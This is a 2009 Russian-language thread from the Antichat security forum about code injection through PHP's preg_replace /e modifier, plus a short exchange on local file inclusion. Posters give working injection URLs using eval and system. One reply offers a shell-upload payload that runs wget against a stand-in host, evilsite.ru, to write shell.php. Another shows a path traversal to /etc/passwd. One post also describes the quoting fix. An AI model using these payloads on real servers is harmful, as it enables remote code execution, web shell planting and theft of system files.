HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 29.09.2009, 16:36
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию

Значит у меня такой вопрос по уязвимости через регулярку...
Вот для примера такой скриптик:
Код:
<?php
$get = $_GET['get'];
$get = preg_replace("#\[1\](.*?)\[/1\]#sie", "base64_encode(\\1)", $get);
echo $get;
?>
Регулярка preg_replace да ещё и с модификатором Е, в принципе на первый взгляд уязвимостей нету, ибо во второй параметр не передаётся переменных...
А вот если с этой стороны посмотреть, то я предполагаю, что можно составить регулярное выражение типа: [1]);eval(phpcode[/1]
То есть смысл, закрываем функцию base64_encode и открываем функцию eval с нашим кодом.
Однако как бы я не пробовал, что то у меня не получается… Вот хотелось бы уточнить конкретно, данный код уязвим, или нет?
 
Ответить с цитированием

  #2  
Старый 29.09.2009, 16:52
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию

Вероятно вы не поняли ситуацию, сам передаваемый текст в итоге оказывается в функции base64_encode(\\1), а не за её пределами, конечно же в base64_encode() никакого кода и не может выполниться.
У меня был смысл выйти за пределы функции и вписать другую функцию.
?get=[1]phpinfo()[/1] это по логике не должно сработать, и конечно у меня не срабатывает.
В регулярке изначально нету никаких eval, там есть только base64_encode
 
Ответить с цитированием

  #3  
Старый 29.09.2009, 17:19
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Nightmarе, ты посмотри внимательно как ты парсишь текст:
PHP код:
preg_replace("#\[1\](.*?)\[/1\]#sie""base64_encode(\\1)"$get); 
Если на входе
Код:
http://127.0.0.1/1.php?get=[1]phpinfo()[/1]
то на выходе будет
Код:
base64_encode(phpinfo());
Сначала выполнится phpinfo(); - выведет результат на экран, а потом base64_encode(phpinfo()); выведет MQ==, т.е кодированный в base64 результат ВЫПОЛНЕНИЯ ф-ции phpinfo(), т.е. 1 (1 - ф-ция выполнилась успешно, 0 - нет) . Вся ошибка твоего кода в том, что ты не ставишь кавычек на заменяющую строку. Т.е. вместо
PHP код:
"base64_encode(\\1)" 
поставь
PHP код:
"base64_encode('\\1')" 
И твой код будет полностью защищен - выполнить какие-либо php-функции не удастся. Это по поводу безопасности..

Если же тебе надо, н.п. шелл залить, на вход отправь данные:
Код:
?get=[1]system($_GET[0])[/1]&0=wget+http://evilsite.ru/evilcode.txt+-O+shell.php
Он сработает. Почему? Интерпретатор будет интерпретировать строку
PHP код:
base64_encode(system($_GET[0])) 
Сначала выполнится ф-ция system(), которая берет аргумент с GET параметра 0, а он у тебя
Код:
wget http://evilsite.ru/evilcode.txt -O shell.php
Синтаксис wget объяснять не буду...

Последний раз редактировалось mailbrush; 29.09.2009 в 17:26..
 
Ответить с цитированием

  #4  
Старый 29.09.2009, 16:40
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

http://127.0.0.1/4/11.php?get=[1]phpinfo()[/1]

выводит phpinfo()

Во нашел


http://127.0.0.1/4/11.php?get=[1]eval($d)[/1]&d=echo%20'fff';

Последний раз редактировалось HAXTA4OK; 29.09.2009 в 16:43..
 
Ответить с цитированием

  #5  
Старый 29.09.2009, 16:46
warlok
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
Провел на форуме:
4075418

Репутация: 386
По умолчанию

или так http://127.0.0.1/dir.php?get=[1]system(dir)[/1] - у мну все выполняеться
 
Ответить с цитированием

  #6  
Старый 29.09.2009, 16:53
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

Цитата:
Сообщение от warlok  
или так http://127.0.0.1/dir.php?get=[1]system(dir)[/1] - у мну все выполняеться

взял твой пример у меня

http://127.0.0.1/4/11.php?get=[1]echo%20'fff'[/1]

Parse error: syntax error, unexpected T_ECHO, expecting ')' in C:\xampp\htdocs\4\11.php(3) : regexp code on line 1

Fatal error: preg_replace() [<a href='function.preg-replace'>function.preg-replace</a>]: Failed evaluating code: base64_encode(echo \'fff\') in C:\xampp\htdocs\4\11.php on line 3

а при моем на кавычки не ругается



Цитата:
Сообщение от Nightmarе  
Вероятно вы не поняли ситуацию, сам передаваемый текст в итоге оказывается в функции base64_encode(\\1), а не за её пределами, конечно же в base64_encode() никакого кода и не может выполниться.
У меня был смысл выйти за пределы функции и вписать другую функцию.
?get=[1]phpinfo()[/1] это по логике не должно сработать, и конечно у меня не срабатывает.
В регулярке изначально нету никаких eval, там есть только base64_encode
а я ни чего против не имею, что в регулярке нету eval'a ,eval это уже как следствие выполнения php кода, а далее раз ты его выполняеш то и получаеш eval($d)&d=phpcode

Последний раз редактировалось HAXTA4OK; 29.09.2009 в 16:57..
 
Ответить с цитированием

  #7  
Старый 29.09.2009, 17:00
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

О каком коде вы говорите?... Где исходники?
upd: Увидел, ща посмотрю...

Последний раз редактировалось mailbrush; 29.09.2009 в 17:02..
 
Ответить с цитированием

  #8  
Старый 30.09.2009, 10:10
u36a
Познающий
Регистрация: 18.11.2008
Сообщений: 53
Провел на форуме:
170968

Репутация: 10
Отправить сообщение для u36a с помощью ICQ
По умолчанию

include_once ('./lang/'.$lang_include);

возможно ли что-либо подинклюдить, кроме как с папки lang?
 
Ответить с цитированием

  #9  
Старый 30.09.2009, 10:21
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696

Репутация: 2221


По умолчанию

Цитата:
Сообщение от u36a  
include_once ('./lang/'.$lang_include);

возможно ли что-либо подинклюдить, кроме как с папки lang?
Да, если нету фильтра на ../
 
Ответить с цитированием

  #10  
Старый 30.09.2009, 10:20
Twoster
Reservists Of Antichat - Level 6
Регистрация: 20.08.2008
Сообщений: 328
Провел на форуме:
7144817

Репутация: 1503
По умолчанию

u36a, если RG - on, то ?lang_include=../../../(...)/etc/passwd
__________________

You may say I'm a dreamer
But I'm not the only one
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Сценарии/CMF/СMS 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ